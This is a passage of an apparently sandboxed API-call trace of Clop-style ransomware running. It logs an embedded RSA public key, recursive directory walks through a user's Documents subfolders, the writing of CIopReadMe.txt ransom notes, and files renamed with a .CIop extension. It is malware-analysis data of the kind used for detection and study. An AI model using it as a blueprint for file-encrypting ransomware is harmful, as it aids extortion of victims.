MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0128.232] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="Favorites.vssx" | out: lpString1="Favorites.vssx") returned="Favorites.vssx" [0128.232] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0128.232] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x610 [0128.233] SetErrorMode (uMode=0x1) returned 0x1 [0128.233] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\CIopReadMe.txt") returned 56 [0128.233] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c4 [0128.233] CloseHandle (hObject=0x6c4) returned 1 [0128.233] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.233] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.233] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.233] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.233] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0128.233] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*" [0128.233] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.234] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="My Shapes" [0128.234] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Shapes" | out: lpString1="My Shapes") returned="My Shapes" [0128.234] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.234] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.234] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.234] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.234] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.234] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.234] lstrcmpW (lpString1="_private", lpString2="..") returned 1 [0128.234] lstrcmpW (lpString1="_private", lpString2=".") returned 1 [0128.234] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0128.234] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0128.234] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\", lpString2="_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" [0128.234] SetErrorMode (uMode=0x1) returned 0x1 [0128.234] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" [0128.234] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" [0128.234] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" [0128.234] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*" [0128.234] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e0b8 [0128.234] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="_private" [0128.234] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0128.234] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.234] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.234] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.234] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.234] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.234] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.234] lstrcmpW (lpString1="folder.ico.CIop", lpString2="..") returned 1 [0128.234] lstrcmpW (lpString1="folder.ico.CIop", lpString2=".") returned 1 [0128.234] lstrlenW (lpString=".CIop") returned 5 [0128.234] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0128.234] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 1 [0128.234] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 0 [0128.235] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" [0128.235] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*" [0128.235] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dd78 [0128.235] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="_private" [0128.235] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0128.235] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.235] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.235] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.235] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.235] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0128.235] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0128.235] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0128.235] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.235] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.235] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.235] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.235] lstrcmpW (lpString1="My Videos", lpString2="..") returned 1 [0128.235] lstrcmpW (lpString1="My Videos", lpString2=".") returned 1 [0128.235] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0128.235] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0128.235] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0128.235] SetErrorMode (uMode=0x1) returned 0x1 [0128.235] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0128.235] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" [0128.235] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" [0128.236] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*" [0128.236] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0128.236] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="My Videos" [0128.236] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0128.236] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.236] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.236] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.236] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0128.236] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*" [0128.236] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0128.236] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="My Videos" [0128.236] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0128.236] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0128.236] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" [0128.236] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\", lpString2="_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" [0128.236] SetErrorMode (uMode=0x1) returned 0x1 [0128.236] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" [0128.236] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\" [0128.236] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\" [0128.236] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*" [0128.236] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0xffffffff [0128.236] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="_private" [0128.236] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0128.236] lstrlenW (lpString=".CIop") returned 5 [0128.236] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0128.236] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.236] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.236] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" [0128.236] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*" [0128.236] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0xffffffff [0128.236] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="_private" [0128.236] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0128.236] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0128.236] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.237] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.237] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.237] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.237] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.237] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.237] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.237] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.237] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.237] lstrcmpW (lpString1="OneNote Notebooks", lpString2="..") returned 1 [0128.237] lstrcmpW (lpString1="OneNote Notebooks", lpString2=".") returned 1 [0128.237] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0128.237] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0128.237] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0128.237] SetErrorMode (uMode=0x1) returned 0x1 [0128.237] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0128.237] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" [0128.237] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" [0128.237] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*" [0128.237] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.237] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="OneNote Notebooks" [0128.237] lstrcpyW (in: lpString1=0x2dc7014, lpString2="OneNote Notebooks" | out: lpString1="OneNote Notebooks") returned="OneNote Notebooks" [0128.237] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.237] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.237] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.237] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.237] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.237] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0128.237] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*" [0128.237] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.237] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="OneNote Notebooks" [0128.238] lstrcpyW (in: lpString1=0x2dc7014, lpString2="OneNote Notebooks" | out: lpString1="OneNote Notebooks") returned="OneNote Notebooks" [0128.238] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.238] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.238] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.238] lstrcmpW (lpString1="My Notebook", lpString2="..") returned 1 [0128.238] lstrcmpW (lpString1="My Notebook", lpString2=".") returned 1 [0128.238] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0128.238] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" [0128.238] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\", lpString2="My Notebook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" [0128.238] SetErrorMode (uMode=0x1) returned 0x1 [0128.238] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" [0128.238] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" [0128.238] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" [0128.238] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*" [0128.238] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e2b8 [0128.238] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="My Notebook" [0128.238] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="My Notebook" | out: lpString1="My Notebook") returned="My Notebook" [0128.238] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.238] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.238] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.238] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.238] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.238] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.238] lstrcmpW (lpString1="Open Notebook.onetoc2.CIop", lpString2="..") returned 1 [0128.238] lstrcmpW 